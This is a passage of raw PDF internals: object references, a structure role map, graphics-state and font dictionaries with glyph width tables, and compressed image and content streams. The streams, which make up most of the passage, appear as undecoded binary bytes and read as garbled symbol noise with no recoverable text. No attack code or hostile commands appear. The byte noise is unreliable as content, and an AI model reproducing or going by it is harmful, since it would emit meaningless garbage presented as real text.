3992 0 R 3993 0 R 3994 0 R 3995 0 R +3996 0 R 3997 0 R 3998 0 R 3999 0 R 4000 0 R 4001 0 R 4002 0 R 4003 0 R 4004 0 R 4005 0 R +4006 0 R 4007 0 R 4008 0 R 4009 0 R 4010 0 R 4011 0 R 4012 0 R 4013 0 R 4014 0 R 4015 0 R +4016 0 R 4017 0 R 4018 0 R 4019 0 R 4020 0 R 4021 0 R 4022 0 R 4023 0 R 4024 0 R 4025 0 R +4026 0 R 4027 0 R 4028 0 R 4029 0 R 4030 0 R 4031 0 R 4032 0 R 4033 0 R 4034 0 R 4035 0 R +4036 0 R 4037 0 R] + 331 4038 0 R 332 4039 0 R 333 4039 0 R 334 4040 0 R +335 4041 0 R 336 4042 0 R 337 4043 0 R 338 4044 0 R 339 4045 0 R +340 4046 0 R 341 4047 0 R 342 4047 0 R 343 4048 0 R 344 4049 0 R +345 4050 0 R 346 4051 0 R 347 4052 0 R 348 4053 0 R 349 4054 0 R +350 4055 0 R 351 4056 0 R 352 4057 0 R 353 4058 0 R 354 4059 0 R +355 4060 0 R 356 4061 0 R] +>> +endobj +87 0 obj +<< +/Annotation /Sect +/Artifact /Sect +/Chart /Sect +/Chartsheet /Part +/Diagram /Figure +/Dialogsheet /Part +/Endnote /Note +/Footer /Sect +/Footnote /Note +/Header /Sect +/InlineShape /Sect +/Macrosheet /Part +/Slide /Part +/Textbox /Sect +/Workbook /Document +/Worksheet /Part +>> +endobj +88 0 obj +<< +/Length 1147 +/Filter /FlateDecode +>> +stream +xX]o6}7pa)CI4 +=}Pe9`ˮȿkֳ-%MW:~Rr _5M.&p;/e1|ݕU֔j8"9\\]zݪqT JRuT-KS70Lh$Mq@>70p{0( VK/xi i'<h cp#pFkE[xŢipp,I MT@G+ $uBL$G.^chqqK.vOHf'w /PGѨy H %CwぐhFw:ڄK:B^j4Hެص!>b>-Ԩ((D nAf&%fq^0iAhrf?;}lRy_R:xVȼ/HZ_JP{> Gˬп>- փ˷t*@$D tLiGW;#pLG?qT$8h7{Ҋ\;+Z;bƆı4Ҁ,)K̗TXpY;0F:ߗ,bVVbZ[b!+},`A5;'[ +S[Rj:)9i^Fyn'M}22TSEņBHS|U\TJͶ*2^_yٌ֊zhfZ:4r /eN|,þX|۔ls%1'( 9r*@~ 9.Z\&ƳÄ.*g/SbOtK\t~p\»oOpx.Y«1O#Y U.S)L(=FHcO}"=! QJ s%"e(C$R3O~؞qHŪR(}κ3WI|H$HVrh'ei?⹄ ^9 MH Ը%$6}XYR<{S}Ò&_w* +endstream +endobj +89 0 obj +<< +/BM /Normal +/Type /ExtGState +/ca 1 +>> +endobj +90 0 obj +<< +/BM /Normal +/CA 1 +/Type /ExtGState +>> +endobj +91 0 obj +<< +/BaseFont /BCDEEE+NotoSans +/Encoding /WinAnsiEncoding +/FirstChar 32 +/FontDescriptor 4062 0 R +/LastChar 251 +/Name /F1 +/Subtype /TrueType +/Type /Font +/Widths [260 0 408 646 0 831 732 225 300 300 +0 572 268 322 268 372 572 572 572 572 +572 572 572 572 572 572 268 268 0 572 +572 0 899 639 650 632 730 556 519 728 +741 339 273 619 524 907 760 781 605 781 +622 549 556 731 600 930 586 566 572 329 +372 329 0 0 0 561 615 480 615 564 +344 615 618 258 258 534 258 935 618 605 +615 615 413 479 361 618 508 786 529 510 +470 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 832 0 509 +0 0 0 0 428 0 350 0 0 0 +655 0 0 0 0 509 0 0 0 0 +639 0 0 0 0 0 0 0 0 556 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 731 0 +0 0 561 0 0 0 561 0 0 480 +564 564 564 0 0 0 258 0 0 0 +0 0 605 0 605 0 0 618 0 618] +>> +endobj +92 0 obj +<< +/BaseFont /BCDFEE+NotoSans +/DescendantFonts [4063 0 R] +/Encoding /Identity-H +/Subtype /Type0 +/ToUnicode 4064 0 R +/Type /Font +>> +endobj +93 0 obj +<< +/BaseFont /BCDGEE+Calibri +/Encoding /WinAnsiEncoding +/FirstChar 32 +/FontDescriptor 4065 0 R +/LastChar 234 +/Name /F3 +/Subtype /TrueType +/Type /Font +/Widths [226 0 0 0 0 0 0 0 0 0 +0 0 0 0 252 0 0 0 507 0 +0 0 0 0 0 0 268 0 0 0 +0 0 0 0 0 533 0 0 0 0 +0 252 0 0 0 0 0 0 0 0 +0 459 0 0 0 0 0 0 0 0 +0 0 0 0 0 479 525 0 525 498 +305 471 0 230 0 0 230 799 525 527 +525 525 349 391 335 525 452 0 433 453 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 498 498] +>> +endobj +94 0 obj +<< +/BaseFont /BCDHEE+NotoSerif-Bold +/Encoding /WinAnsiEncoding +/FirstChar 32 +/FontDescriptor 4066 0 R +/LastChar 121 +/Name /F4 +/Subtype /TrueType +/Type /Font +/Widths [260 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 638 0 +0 586 0 0 0 0 0 0 0 0 +0 0 0 0 0 599 0 0 649 571 +0 0 0 352 0 0 0 986 667 0 +0 0 523 488 405 0 0 856 0 579] +>> +endobj +95 0 obj +<< +/BaseFont /BCDIEE+NotoSans-Bold +/Encoding /WinAnsiEncoding +/FirstChar 32 +/FontDescriptor 4067 0 R +/LastChar 244 +/Name /F5 +/Subtype /TrueType +/Type /Font +/Widths [260 0 472 646 0 0 0 266 339 339 +0 0 285 322 285 413 572 572 572 572 +572 572 572 572 572 572 285 0 0 0 +0 0 0 690 672 637 740 560 549 724 +765 389 331 0 565 943 813 796 628 796 +660 551 579 756 650 967 667 0 579 0 +0 0 0 0 0 604 633 514 633 591 +387 633 657 305 305 0 305 982 657 619 +633 633 454 497 434 657 569 856 578 569 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 615 +0 0 0 0 428 0 0 0 0 0 +0 0 0 0 0 615 0 0 0 0 +0 0 0 0 0 0 0 0 0 560 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 604 0 0 0 0 0 0 514 +591 591 591 0 0 0 0 0 0 0 +0 0 619] +>> +endobj +96 0 obj +<< +/Length 579 +/BitsPerComponent 8 +/ColorSpace /DeviceRGB +/Filter /FlateDecode +/Height 29 +/Interpolate false +/Subtype /Image +/Type /XObject +/Width 94 +>> +stream +xYJA/HA[-JK>zB;,DB!H$A;`$wvfg7υ=βv۩W^7ִCIo1Lq@"Ё'mkQd W%\HAU$x +ݝM+]$g/OϙrsE  ъEę! iT7A;|1(;$lMGɰՙrj (C,MX0yq@J@.}KϗgZ'{PV@*rp~Ĉm6k+"L%5kּs%uT[hL.v@)gri6 8$l9"ewFMH\tWA*/.+X[AEj;tF~ HJtƕxl݁k*tF_X@dЕ*F +ff*@֔+}5kⶸ8%պtU4tl9-XEʚG Sw#S.L,M'q*O$.Mۅĭ +endstream +endobj +97 0 obj +<< +/Length 48905 +/BitsPerComponent 8 +/ColorSpace /DeviceRGB +/Filter /FlateDecode +/Height 2021 +/Interpolate false +/Subtype /Image +/Type /XObject +/Width 1430 +>> +stream +x +ٻ%9+@+(RR4o{}ul 6Sͫ,Qg6aino0x26_,Vo6_`$Y<^nwk;ZZJrtJ=fg.,/>W,+rZ7V*O8mϛ8uf\N&tVIoUotIۻ˫7g?ә$=?J=llZ/ijV7[Vp8Ovk|:$yN thZj-:!!ss{v~ś]?Jݺi㑍w8WHKRyGtyc2Ngb\7XV,z~*W𘹾>:;|N% ~ϋ|sBP|z靖VdbLG-)V4tʎBGEp݊#[q;jf7VV5fY,_4BwW׷WtX?JGnűor{x:Mx~>l05by62-I-{Eؽzzxc<,>8y_1_^\]ZVH'E\~ܨT7h4g666w_Kp\Fv_"8-Il?I2Q +ŧ46x>_]klpkolʕj&^WH҉D&{lJzta:k; E +ItlC*,Iګ$}lP,Zc0Ng: +?n4%U,ngyQy1=?zT,nW*W2o.|T?OI +[&Z*W{(I:^&Iz7ph8yuck!IzqOO_vB\7 t =p|j1z$U +~Ve8\ᗝF睆Ox$l6RڃW/Hҁ|:VVןNgr yk ۻ{[ Iҧ.!HqFX*vg0j> cTOuiVt:?H:2QJJtZyH?h4*WZ`%IY3)RVo;87MXhv^ofyъMU'I\._,WjV{4??Wu?(K7$U/8W(Wr> =t6כL2*I; ~`Wmrx]f0C$I'Iq\v:ݧ;4CX,۝n=n!I:I$鏖tsjz} kv2덻dzK\H'I2Qbl |Ig$IZ{Bt?zH떍|Rutrpzp4*+׷o.$JDMJVglZ Btssgq!I:/$I|^{<8O\,.$I[$)jfmphx2)+wn$BŹBRkwt^'^6Uj:U; I҉ IV6ΗV3L7g3}lŲh>D IX&&.^l6TkW7EII:2QesrM˭VV} I]_LǹBZ6/o\\^$I)/IGYM#z9+@ߛFC$}H|I:q;LWmf3࣠$IT^NLJIn_zywmI^Py^N(+ˍfk4x0f7]$I:܂lTj^Xl6#nWu~xxB/.IubڃpҿT\^$I:꒤wesO7f |H$($I^]Jvg236Mվ>It%I^6pZ>?۽0R_\$I:O㒤esRs@_ #$}ᒤ)RfH'!2v$}΂ޒW)Ź|hFji\5[{_G$|$nUFPX.}^|W7v$*-Itq\O vNR&&I҉|$}l\v{|ʀnǓIPIC$sGL:*-Ix\)I^|$)Ņbs/p4e$aGhIRR[e$I?]H%IS>_|~**ӑiw2IO˒=,[eg3 \׿{>I),I2Q۝l>}Є״nO Ht@%I_ N ]$^B+T,I:lXbaaId0>f"H$@ > Kl/`\Zed;3݅$I]XtqZj +nqB#(+I:rbޜL&vl/[$U +>J|lĚ$IS,h.blw!Iґ|Е$e(Nno\(fZU#$Iz.Jn6.J5˫Õ$IDl%I'R&d2H+oU$|$Zqo:JHFPlwo(g4$IY%IuQ6W.WK$IO$T >JrBٚNgKNd:yW^HtP%IzOO~Vz݅.9A\_\$IR$}H8_7өG2ND$N.$I$IBHQKN&L|L$I{UATesϏdYRٕ$A%IbOO|dmwW7#I<%I2Q\'WKx|$DqP|pI9*U*W/E$i >mJe|ќN=;nF$I|Ȕ$esRe0Vn;,7gg!It(/%If==6MѼ +>I*T)I)*hrUT)I^\IR ŹBњI>v n=$ >@JLW*hl,WB"#Iࣣ$IPPv{+2^vW7It%Iڟlh-Ч^\>#Iೢ$IV&˕x2qt: K$I\)Q,|+1/7'It|%I\xms$It %I:qVkLg3bs$I$IT͕+xvt7GIt%I:2Q\,]\. ŲG/$I)(I;^z?WK>$#IN೟$I^+4bq"{fS*Ws>ILl~{tzw|$I'XyO#\'I4Ӌ$I:͂y$eRy8"It$I:\o6..-$ >ItŹ|]ӫ&_,<"I|$Df\B%>xݛ=FO1o'$I/&I҉esjm2&Ip}$z2p"I΂m$)-ŕJm2&I1E6K$ISM$r6O>v0^xsD${4Ih4c$mIt$IҿX*FOtj$I:f$h{dru}|$IOe$?B<^eQo49"I#$I1^|z ?9>H$тc$b=t: >{H$c$IzA{h=vW7I|$I/==cl6IVw$I:^$#DqZLc,8 It $IҫcTjJ&/$I|ܒ$I[V^:!IZ$I}|ݿ~ >iH$V,I=ೖ$Iz..Y__{ It$IG/߭/ޖg?M D$|$IC/닷}W`!Is$Izqw?/^׿}w1$Iҡ|$I/o1~=$IO_$]^o>f}=W_c$I{ +>I?ڛ|veoÉ$I; >I1ػ娎aC҄39r, c#?ec, u]3[z/<*NpAŪ?ܺ/*J ͗n/>+W9&yugG.ZkcDO,#mG~=ώ\ΧJ.BOe7UFg>f{w\]|N /VR^MJR1>3_r56Jդ\ ܒ! lGT_|r | |N>͗N?\{u9FG%M +OE ?1Cc7$|Z&y ?Q p6x2[oFlwG9ȓ +hRIn}?*KEp\I 74zQ@wPnFZo\\QTJr ?*.+|~Z*:41Kh6IaBR5qdK1_v +}| +\X,1_R5 =z7"9(b5oo fT5o/_|ӧwC_?q|q!jOG@:ucj7|>@^9rRt4/㋫$`>,)>@pfg8 +p3̧l_\r +.|<9?ug?N@Ir՝7m4ݑJ‡=ȇb5t|q+ >@x{/uv'JYw JZ7p'DY/e (2mkgo nW|-|r|*w'WwP·|iTm4;[\ + vU)Uֻa\ 2ghGߧ >@W_dDZn| C'3߾ȖR*A(Yq<%fK(Wk1 §AȄlQkw\Fԛ>@fJ폣0gBH|oFIȜlX7n|eI RkX 67'2#|87J]67T:}ϔ@N;$|-뙒`8o vzΚח1z>"@N_1܌>%@OfI&PRi>(@zLgF&FZkQ ,|V/VN/|Lz*^8OEHb·̤P2@x{7|Lj`>@nw`T &f!V(|hXǥJ-|L&T/c@MfZ#|_Llvח1e2כ1YԛV >=@|7df9t&|7_;?Z5e 3$ܾf9 ju{3$ܲC\O{X hRI<>8ku8 'I5٢Zksɱ쏣<ȥan|j;\ 7]< ?ol)R'=ȓynx{7|KK5N>RM;,W7S%\ !|up4)WXT;}_+ +,OF+| j |2-^>$`Un|%_.E \B 7a4q|A:eh+|l 0?>oTJZo0 + C‡L^!#6Jf%pAs&\t^5wpq(5z!%p&\v(U_7Op-F[;PxE WTTuR(|+:8<^o7p]*|8G~Q>yMgFӄR$(‡O| p6V%l/Vі;)Z=oύ+|K,;@*I%[ +k#f#D BOfZ#|/ Qjk1(A.n:[$VbUF8#ϢpAŪo! JOpQ`m(U_P(\ΞS៪V(f9 *B:UzC@P +vt<-WDHr| K&yB}/Jȱllu<>!7 nBt +_5_Q~2Tu TGrw~ +|@?,U<>WRo @Ϩ7G$uw{c*|x:5Z>ȍR<T|huw|3 ‡UdXuzFhuL W֎GF%`>ϫwnAZl +YhRwvPnn= +Z(<7tP(joϢpq+E6-<>Qj=Ȑš/V |EVICdD +@a F[7TIz Wi{wHRϥm,wpTwm=H!9̪I#|SRo +c(G$p>?|jw=>iWza +>Pj0(2`q +_ +h(=!Ͷ=H"?<,';2{՛C !| '3oBvUkh+|j|ΗF;| \ER{h-96/[^ r@ ‡[jXmp]6v>PX-y5O@ ![rioTSX&| &nNx>3hoVI(6#m@Q*`>P.1_{wBlNonOnA @n;/[C nZ @>n_@q5Z^YfOdV7P@Z>u۩'`8qȥL͗V'|GZxe>]Ūo,'0| g§_2jXy|7k>Q;J. H;?(,:8<$rj@7gz{믿J~}'I`e=~7[=-FkTWV?*'?x'_߼y]/I.| CU7 +Yԛ|bh:[ݹ_/_}Ǐc$a <>\Z%i G['W<8:=x_zO?$ +Ȋ}*p~q#ٝGx۷~ "Iadzw|\R% F߰w0_m.I_#17ν +\rO*t/Z9={o>|BR^` @vriTmuz|j\˗޽sj!I*|6 _os(UxkFO-vv';w?Ç3$2Ξ;[huncop6_޿u oHR +HR`c4Z\ѣǯ_u IS2)tx<Ptw~p'*&5\9-=z͛ZtKJ8v{'rwx4wWhIm>*]@p;.$O =J7mmf'O>zp$>0GYZ߰|VI֓ϼ*IT @lԛRl쭗:9ߣGfIR* +5/nT2C@Ū7o[t(}uZ=;<%o{|^jxkw2z:9 T‡gn- P@ŧl#߶\:Đ">?hRp6I;8|ru1$ܾt^k72@lvpx|ϖӧ1$Oܲ|j2@qlnhr]!STin| 6JVt<g>|%IW, m=>܂O߻<|TginξGQ6۽ãﻸbHRQ +ǥJ-|kFhu/ȥ&$[0Γz3|wFRowfe*#wbHR i EyUI[ۻQg=|!$5_:AȥR'yZɃ޽{=_Knnos,'nhbHR^ x;^Uhuw?b!YZm_ys!I9,p\F rՋu?MGӊGIꭝ|o<*IY/G,'~K{sIl#\|j rvŷ=|3$2pG8Q:o=~bOIb \F)~dQZ _B<|obHR + +\N>݃#!$e.xZ7A@lp ^|ۃbHR +&ERo̩֚GXzcl.IV\~6Jv?×[N=!$ .47D@Vlhۛ#\C IJm\d:O wveC IJs|hu7D@VԛãIڕQ:Ðn!2ᯋ/L~=zN$m'2ᯋ/\|q-V'gCU߰QW\|qNN^~=K coQ5Vy!$x2ּ +f;W:=?%I(O٢o2|ʷ;w] u֛No-RnTݹݻ]^_ZoF[$|sYw_ܦ?{CB ,K[{ewRw<;{}C $|sYXUa#$O>fHZux4 _ +>|%z9ҬhOfk8ȥًFvo8:ȱ;|=KR~ +_moUVw6_/Sܨӳ޼y=KRN +_rhTjd:_w~۷S$% {_U5'e[s{߿%)4-<>|U%M—)nٽ>|=KR _gXuÍRF HrL'?~%)Å93_FmwYNw—)=t—q=XoR7J@lvEůF$)/yrpx\z|`4_—)­N^| Lt^5wI@ +:|Lw޼#z I+|ȇޤhZ/"|"UpϷoWo/VN?|P%Of)O޽{,t`JqEjÇIL6@my|Rugw?|"͖Oz_U.X iǎ/(o:{IF6@vOfKR{; ZI@+6@FMgzKR}7;IJ{5@NoKRZkO×)2ݷWoVd| 6Jm#\iIjv*Od{#\Ƀ*IV* -{GG(U5xgJW _2xZI% GF$)/Y1kV. Hf7 +gL͗N/|PRoOf9sv?#z I*|qHbwI@ +*ãI2E.޻w Wfoz|rFc<4$}.|YHݽR#Wv(m:}I$S2@O˕Z. HnFQOiI:/|MHl૚l _(;^7HR| 2@:&ͶGHtLQ(gw}VOIE/|5HG]?D+nkT} b"H$9N(6Us޼˽jPSy|C. "'>@Adơ/JT#u9#99 dg<> 'RL""ć0(%_,;u@AhV7laf;LCQ*W O|K@0#PD],k@Qֽ@AoG^\4 . *P8tE jtX)f^&)>_xidsE0[W7l@D4ߒ(Hs<4Dz ":l/v*ΜF*Q4ͧ'耉OZ8ly|kMœ3 +fXp'Y61 T,Ut7xG0c +n|ZI/DDI|є+5/ %P܍1%O%pZ#oIdx|<>nҫўp%[Nݝ/_ u j9 +GLgϜ|Cәf3mhV8lx4%H"%>t&!"$>WJ/Jgphz9Pé/%PTr̭Dd'*Hn!- \R)8fVz "CV7ф@ANS(pL 5}|<8CH$Ӽ +3#fXp'v.+h.Cɴt}n$N|~e_ơHV7 h0l6+'Gr \]4 h#ea- ^\S +fAz !"L##qnf4I/"DD:s\A|Fiwz//K]ul~/JT\ ~|Z"H|rJ_((KԤg[=j]wv*waNVz#!"h3>Zkx|A- ShRBDg&|NnCQ- ۩5[\z/!"{>hy|{4;+)t{Kn$" L &C2Q) .6vBDG%|#rhz4NW џOJ/JENBDć$|\Zy|;<@RS3YzG!"z?! #~Gw{龼H)DD$>!bxKss>Xқ +#|DGǡtV|F3yTK|6_Ee/J'y|8ۉBD?FR2[1>_0[өBD#Ap{[y|N l[R%qhz,Q 5ݽBDvO|+RG+ lf3l$_+5/ %PTc +V­D$xU1;_ՓdCnFq- ;_()?\.ՓDC"o9t6/>v"~5x͡ɴJl=|I8O<Hw9l >|PlK5Dd'{d%E|Qy|85f$wlP+(rCDO|r}<>nϭDt[&^?x/Wjc +W #`<>w\#%\_J8DdG%R<>-3 +Wyyuj7W,WuW|Q@(#U.xd`mj oIv#B|L8fx:5VPT|K -c +A5drX`aXR|K3+g#0'饇,L`ULSuԓp4No>_H=DdK˼ +-GIzj%'>XO\u +`S{G\AD_L|ķ$ + Fz!N|;<>a ":+'R -OnP[^Ga&;>b?%>D2 on~||އ\NZP:sr{'4P(kwBz%"I|j8]J;L6/>^Z"":GUnCcpB#. $>Z G#1\]pR@A>Zk('aw#"R=a %_ʕpf{6IGDt +i)%E|Q-3 +IkwzRzC""uSNHh.#+(6DD&>Z݌ƒMߕ(e7Ɍ`cn$wPNE*;s84=M`%ɝDD*&>|=awf$*rO'+Wj/(Pn2iBz[""MW>nSKzj^HEcIE j˻4 L|(PY:oY&ox~$>(X:]nE j"ф` uww/6O$j'(P?TGluf3͉G[O@5_R(6剈ETSk4c_xEw{y|~^'"L|PM&W8s8uO6WPlb4VO";'>(Pn@)gN#ʈ(عHPD$rw%Jqhz4Nh'-dA[OB@5PZk(, E?O+_G(V+],wxexKw f#NQ<6ߕ(EsbY|@\]4 ;dUk / +PCsey0[w/@V0ߕ&HO'f4^H[pSv$D6I|+^_S`ZKVDtħ Jexw%J1<>p.F͆[=,p|ZJ=BI|@4Dz"&>jYnFq] R4;ɉ( +ٞN,":`sYnLluEDJ|8|"1`NoVO"k&>aMR3<~] Rv˭DL|8ow0`W| ^qD ] RXO'8{e`pLiKԱ \A|:l&o>,-W(9u@͕LeħZ[,+-࠾_(%VEDI|8݆w%Jٍ>_hl/"CDcIK*պtcj OY y@FWnQu :ŧ|0B M|أZ݌%R.WK}2`™_GݽFDI|zؗb2<u /[ 5ͤW1"ħ(Wj_@|] jwm-븽+MO TV+&!:'ӻmE|cœ u1l6;}42roLE|0[77Jt* _Q,UtW|]7P5ħ +~xJeD'O-) W[ħV<̈ %\FPMp:r^Έ/ +He%[=O|PB7&phz,Mp.WIr[Ol^zyfOOq0ؙLovW˝zN6̖S\w`G`vG^zE#""~zY.b6{~||xc<^Ë^U5|@P4>8[{/{O&p8/BioLq42ټh]4 )|:}\^?H1m񟛿*/1PC4wA]nynټ,~]okTk 0,1PG(l?h V?(}@??m5N8IDD$v|{e:a?hDI "%x|d)Hf^dr1+5 . #*ft&KB?^5U^R?~tJHDD$KRK2?%x"wfbYp8VO""yͦx"%p3!a8u[7| ""۶n/..S쟿`k84}ٺJdL2?_Hd xgN4NCs(jfGH""cW(?f$ӻߙSkprx|NB_.I""\vʾ>_5#.2+պz>NvtX" Gwˑ @QN۩pZ.WnnOKG~1#KBoL<>06ahoW_'SF<EtO~**Gn\]]4 Yt?J|SFO8uw._?laGN""X, +œ`O$~~VO"":V'C||?%R Vnw˥񓈈3m~ ᠢ+exC@}0IDDM*pO@ȩ)xGk.IDDt?,|ʈ%er^NLDDDmXK t(3<~>eT~||>z0[T%V02 {dgigc)џv{>_|SF$N-QGX"%~yT&ɉ1PV< +_x|l0(w.F| ""UR-LBß@u`Zk*H`ȎכV#>U-/Wjcfk(}%""{nQ*&Hi ԲY,UOlualdryx;s|Q< 8!I(== +ŲoWdDbnw phz2? N`8ZҧZ""x/e_S"jWq|<>k&!"õl۝._>qd`Ok{-Y'R@847POluf'\""`l^|CGĿ=Yvn&z\G{s.Y%//'d:Urgs/2f>EnjM|$R`8w řSOerg] /FIDD_oӤ鉯D2 +G]1%XB ٺ>wuu-}c_] 1YPZkrh4ODDtMt&'wcOR՞_"":yT_q |PI\?,/KS0Xժaķlڷ!~BIL p^4 }f럋/8x"Fq]]4 }ϋx"5[|k"'ϱi{>b_Ns6 )D9uhnc6luDDtK\_!.Oz|w + &!"[ );CX6#w/UjgWULDD*v~>_p4Σ#u\.^u}sD2 GΜz:?Cl]_HHfl^|Mɴ?\qha_TLDDJ\.vS'\iQHG +2|.}j&""6m_qr"K>a@RQxW[Vgg""k0Nԏ1\G|׹=26\l644L_K|Й1NSes)5_?s,MP9GٖEQb=m7P*wKn\?F@gZ$4v RqX1'^f)ZG Ia>{yLW2>}G%O_,fÏ͛N'4-IM'fk;|(}yqsAfkD%IÕL.|}^Zym<~o-x;j;Ւ_e6W_̃xәwNA?84$=nBq-|2?W߼[G%iz$4+ᓖ9$->B޼>eK~rI4[Ky/{#<*F}֖$WIťWoޅGGmI흤Jfn çF5 ?[=%n$e>/~ F ~ã$Iޒo<W6s̗Vc7E]\\F%I?X$NP{/ŵS%jZӹ>K~} +iy5g/c_⏧/V2#%Fk0D%Ikw|^^}v!|?>W;mwGqa\wM +ԇO=S[~o$ ǛZͻz۩̭SOHRʛPooç_x^zTX޸>K$͇OV^z)!zGhv璤]_ ?J'ϼ/y0RnãczJRJ fr3~‡EoͻS"M8;?>Ktzvsb=gzm\ ?"@:͛N'.Im7+JmW2o%G^Fk0D%i~E ߇O tO +BH[=%)dRo4Ç$D(y ?CVOIMv'$%>~#'>bH׿(7J޼[jqyy}yӹ-g#o?)N/^v*zչF%7+iœEɳrV$K'VTtZ^,|\|쑿QKiIE%Iw ߧť/_gExbi#sS~E|1|B-->k1x;gg>bH- Jͻ'յ>~Zy}}}ؗp4ΖIc՛wc<>FG%1$l~ť_Bȭ;<:߀}~bJ"~Odr:'Izz|>qX^ɼ{ᏧnOW<>Ux?=-|~ZyFOIzHM&vփGq= +_= $=$9>>q:K+/^n/_ʕ#̧ݽh= $tu}'=M"Iʕq%iɳn6sZG Ih4 u0?W2o|,-1x; jMD4$I{g7|ZJ>,V66FsGIJ]''l>||ۅG ewCzJ鸽b-z! v'IbT4 r|V|?_<}P\ ?3Uk IM&j-||^Zy|\!lܣZk\\\FOI +흐6K+?/T7o Iafr{ JۅcGh4a􆐤 iy~xv xX;8zIHom0˕~xMy}#SG&4?'F΀#O__)`ggID +IMw7-d-|1<{O_՛7B~yg>ʀg}Ę,z|FsEo IvZ~Oqqc~$iR _a{>bx|ݽzJz|Mp{'G>_z#GO Ifr ~#Ƴ ŵ#Uk!I?l>G$O_Vov:!I?;1z>bLoWnǭ )a7 ߹0ۻ[=%=Ԓ$iG_ٝ1޾&@;::^q{'b\~B^H$o566 +W>b|{|$n]"IQ$1~+o>..p{&?Sz3|I!V3uw_SR kJBf^P6y~~N$/% +G& jM'zH_tzvɅ/) D~dҠD+ID)G& ۻ8zH}Ǔj-|FQʕ#nAim=|F!(&ima:niݽd=P$t„( F&icOHJyWnɕ=M|"zH}%斧IojM'zH}M&D +&^$Rp4r'̳\~d`;$Ws'3OzDRʻd3 +i`뭞''& $WZ:zH}%Ihn( Iojfۋ(t_h\ Q@ImzJJy^/W(( J._jM&.Đ/. $7Gn 󬴶~d"zH}M&F0Uͯzt:Ek0W6g$ͯ{ͭ^=P$:N>(&n"IuzvVOg&?8O&E,Iݽ}z<JG& \8>9447f*zH} r@f Won"Ifs DY}fkۭRYe(\y}#n G"Iw6$_ dj iIin4M7(/z_'gIDoI^VOs&jU@Le *& \Ѻv$j&@n`=P$&IP@uzz{gwVOI)n4W6 +i#zJJsP\ P@l~dUkӳ"Iuuu7(iG"IupxVOs&6X\a#kaF;v'i`77$j&>XR9;88L))%Iq'̻Ln\ ?5YF;F_Z ͫ"IwKkny#0hnv{E˭Bb}yd~pbڞ&ڒ$9:r'id=S$ivIlm' Ij~xt<3Ef7+4 P5...7$Y/J ɕ+' VָFoI˫L6>XO[=%#z&;8zH$i4[ /6OM@#OHJmȭINOϢ7$m;]. WZ[?5MF;; + i4Ԗ$[=OS`0)4dlm' \$@iIm0W6./XZ8I"Iv ŵ4 P5/7$7*͇' IZFoI]${ Hr%j4))%IR5§$v{b''gE<ͅ' \~jbUk"IKdgw5#i^on"Iǵ[=/4J' V޼tg$n4O§&~=S$iv~T*O' ' vۭRM'+O' ^&#$nNNN&ON7$˭A._)4dR٨O' r0jfۋ)4~P(O' r j"It'Z~pbyDRj;8bHJgȭ7\0jM'zH:n' Vg$­xF3Ef$QnR$d2^*4S({[8:>)4p^ M@dB T5..g$J HOzsg$2͇O' 򅒏0皭p=S$iv{ HBqG s;{8zHҌ&IR7w\im=:<<΄"I3kJt`54 pv~!)un|1|:ii{z=S$iv''gn4 hnz"I]§|1nF"I3L&z#|7)/N@ݽL^*4`VO4 ̹zVOIIh4^*4+b5Axd2^*4G$0N(x[tn$J Hz lm{DR:;=; HL~vw>q'gZ lm"Iߗ$vG QVۍ+}ZnveI3Hd  qK&hYWbUZ@"zvb)D%?;5vv;naEwOL@Tҙ$0~aEw~~UOI`T$y0jdJ2"IZ=DjVJZ =HGJ J2)گ +Zk.&YhZIz]2A o>W&XtIzhZ >1QI2Iw`5iؤg' zJOznWK@l2|eaEn? I`UۻÊ$=&|zj`NzX5ON .&maEw}}LeK@lrg' JjC+f) hv_7omQ& w^ON]bH~X +>+H&Ivtt.GVHZv&>.IN@@bpxĐm]^yx$0*O>>_憤߯pxpxLd& V$>bw%ok0!I`5{^'?Bo_-J@l6iI`W7_ήK I}6W>.I2.1`b+ӳ>KOIŅW=qt~UXJL_zӟݐ7 d[O@(j˟R5m~_ւJ@BJ{CS&6g% BB1 z~ͧTk5H{xh3I`ȫ_)j'8~on H 򻧌j~{wIw'g^$S0*w-|Uk Ip8i3' Z}6~=]bV$MN\YMty5w|PZv!kvŭ$0o[M}TԮ\bHrdY +~|(Wj'gt#uuuFIS Uq^IbNJ,IɩT:&VZʙ?%h82JDz&m0Tk!I`5{a_YĐu{V9D(o5 Lã&~gĐZ-I$.1`_~yU.Xޥd*S,m?>A+/?*ՕK IF2|\bc*LZjiC4?< +>+JViu/&I\bHFZ#Djd/&EK I_Jg% B^Ivzz>~>vI_S&^P,?>Ax?&L$?]: >+H7[OP@j>%"، h>v:M 7ĐWXMFJ~wwv8yhey0FWD^WTJ@r' rvvvWVww'$IQX,YM\ܾVk[}&>+H VTZI$}+IqoV9 +C+$)ކɆ$IWVܻĐ ÝnY P:sOj$`0.WJ@&^Yt:$I6&^`5 $C: >+ڴx].1$}kIqɴ$+kzCxxQ* ~&K Ip8lYM~zNiJ|V"\b%)mm `sH7J@l6iIWVԎON^&ظ^ߟg0$)F_''VRlɃ*Wj.1$ao Dj+sH j=D(?\܆$EZ/lJ@&='Iv1K0TsHKZMH]bZkZsH;;H2% 6ozVi?>$jUqL.@;ͽNQIR Z}'D(K wУt!%D( ~&a =*IVU,l$ӅR3 0~QIRfdz L㓳pzTcVF \] ]bHkpppd5 0.zx}J*$)Ɔaa5 L6 LۻУ 